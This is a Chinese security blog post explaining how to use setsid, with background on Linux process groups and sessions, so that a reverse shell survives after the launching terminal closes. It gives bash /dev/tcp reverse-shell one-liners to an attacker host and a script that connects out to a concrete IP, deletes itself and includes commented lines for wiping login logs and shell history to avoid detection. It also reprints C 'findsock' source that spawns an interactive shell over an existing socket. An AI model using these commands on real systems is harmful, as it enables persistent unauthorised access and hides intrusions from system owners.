setsid实现后台运行

0x00 经典姿势

下面这个在Linux下反弹shell的经典姿势相信大家一定不会陌生:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

但是,这样是有一个小问题的,就是当你在target主机上运行上面这句shell脚本时,它是一直在等待挂着的,如果退出的话,反弹出来的shell也会跟着断掉,这就不好玩了。

 

0x01 关于进程

进程组 (process group)

每个进程都会属于一个进程组(process group),每个进程组中可以包含多个进程。进程组会有一个进程组领导进程 (process group leader),领导进程的PID成为进程组的ID (process group ID, PGID),以识别进程组。

会话 (session)

更进一步,在shell支持工作控制(job control)的前提下,多个进程组还可以构成一个会话 (session)。bash(Bourne-Again shell)支持工作控制,而sh(Bourne shell)并不支持。

会话是由其中的进程建立的,该进程叫做会话的领导进程(session leader)。会话领导进程的PID成为识别会话的SID(session ID)。会话中的每个进程组称为一个工作(job)。会话可以有一个进程组成为会话的前台工作(foreground),而其他的进程组是后台工作(background)。每个会话可以连接一个控制终端(control terminal)。当控制终端有输入输出时,都传递给该会话的前台进程组。由终端产生的信号,比如CTRL+Z, CTRL+\,会传递到前台进程组。

会话的意义在于将多个工作囊括在一个终端,并取其中的一个工作作为前台,来直接接收该终端的输入输出以及终端信号。 其他工作在后台运行。

上面这些资料转自(Vamei’s blog),就我上面的例子来说,简而言之就是我在target上运行的bash是我反弹shell的领导进程,如果这个领导进程挂掉了,反弹是shell进程也就跟着跪了。所以,就需要我反弹是shell运行在类似守护进程的状态。其具体原因是:当我们退出终端时,终端会收到 HUP(hangup)信号从而关闭其所有子进程。

 

0x02 Linux下常见的进程后台运行方法

我们经常会碰到这样的问题,用 telnet/ssh 登录了远程的 Linux 服务器,运行了一些耗时较长的任务, 结果却由于网络的不稳定导致任务中途失败。所以我们需要让进行在后台运行着。这里有两种途径解决方法:要么让进程忽略 HUP 信号,要么让进程运行在新的会话里从而成为不属于此终端的子进程。

1. &

可在结尾加上“&”来将命令同时放入后台运行,这个熟悉Linux的人应该都会使用到的办法。

[root@kali~]# (ping www.s0nnet.com &)
[root@kali ~]# ps -ef |grep www.s0nnet.com
root     16270     1  0 14:13 pts/2    00:00:00 ping www.s0nnet.com
root     16278 15362  0 14:13 pts/2    00:00:00 grep www.s0nnet.com

上例中,新提交的进程的父 ID(PPID)为1(init 进程的 PID),并不是当前终端的进程 ID。因此并不属于当前终端的子进程,从而也就不会受到当前终端的 HUP 信号的影响了。

2. nohup

nohup 的用途就是让提交的命令忽略 hangup 信号。其使用只需在要处理的命令前加上 nohup 即可,标准输出和标准错误缺省会被重定向到 nohup.out 文件中。一般可在结尾加上“&”来将命令同时放入后台运行,也可用">filename 2>&1"来更改缺省的重定向文件名。

3. setsid

可以是Linux下的一个命令,也可以是C等编程语言中的函数,其功能是一样的。setsid函数将创建新的会话,并使得调用setsid函数的进程成为新会话的领头进程。调用setsid函数的进程是新创建会话中的惟一的进程组,进程组ID为调用进程的进程号。

setsid函数调用还有个条件,即调用进程不为一个进程的领头进程。在我开头的例子中刚好符合这一条件。shell(父)进程退出,使得子进程不可能是进程组的领头进程。该会话的领头进程没有控制终端与其相连。满足了守护进程没有控制终端的要求。

关于Linux–进程组、会话、守护进程,推荐博文:

Linux–进程组、会话、守护进程 http://www.cnblogs.com/forstudy/archive/2012/04/03/2427683.html

进程、进程组、会话以及守护进程 http://blog.csdn.net/yuxue_23/article/details/12162785

Linux–setsid() 与进程组、会话、守护进程  http://www.cnblogs.com/gx-303841541/p/3360071.html

 

0x03 setsid应用

在上面的扩展博客中有几个关于setsid的例子,下面就简单说说怎么更改文章开头遇到的问题。

很简单,在那句命令之前加上setsid即可:

setsid bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

当然,也可以写成一个稍微靠谱点的shell脚本,在反弹的shell退出之后进行一些日志清楚,文件清理的工作,防止被发现。下面简单写写,可以自行补充:

#!/bin/bash

sleep 3
setsid bash -i >& /dev/tcp/123.57.49.220/8080 0>&1
rm -rf $(cd `dirname $0`; pwd)"/"$0 #delete this script
# delete log and history if privilege allow:
# echo >/var/log/wtmp
# echo >/var/log/lastlog
# history -c
kill -9 $$

还有一个使用实在Kali下面在/usr/share/webshells/php/目录中一个PHP后门中使用了常见的反弹shell的一个简单C语言脚本:

#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>

int main (int argc, char** argv) {
	// Usage message
	if (argc != 3) {
		printf("Usage: findsock ip port\n");
		exit(0);
	}

	// Process args
	char *sock_ip = argv[1];
	char *sock_port = argv[2];

	// Declarations
	struct sockaddr_in rsa;
	struct sockaddr_in lsa;
	int size = sizeof(rsa);
	char remote_ip[30];
	int fd;

	// Inspect all file handles
	for (fd=3; fd<getdtablesize(); fd++) {

		// Check if file handle is a socket
		// If so, get remote IP and port
		if (getpeername(fd, &rsa, &size) != -1) {
			strncpy(remote_ip, inet_ntoa(*(struct in_addr *)&rsa.sin_addr.s_addr), 30);

			// Check if IP for this socket match
			// the socket we're trying to find.
			if (strncmp(remote_ip, sock_ip, 30) == 0) {

				// Check if Port for this socket match
				// the socket we're trying to find.
				if ((int)ntohs(rsa.sin_port) == (int)atoi(sock_port)) {

					// Run command
					setsid();
					dup2(fd, 0);
					dup2(fd, 1);
					dup2(fd, 2);
					close(fd);
					execl("/bin/sh", "/bin/sh", "-i", NULL);
				}
			}
		}
	}
}

推荐博文见0x02 Linux下常见的进程后台运行方法中的博客链接。

 



这篇博文由 s0nnet 于2016年06月25日发表在 C/C++, Kali Linux, Linux系统, 代码艺术, 网络安全 分类下, 通告目前不可用,你可以至底部留下评论。
如无特别说明,计算机技术分享发表的文章均为原创,欢迎大家转载,转载请注明: setsid实现后台运行 | 计算机技术分享
关键字: ,

setsid实现后台运行:等您坐沙发呢!

发表评论

快捷键:Ctrl+Enter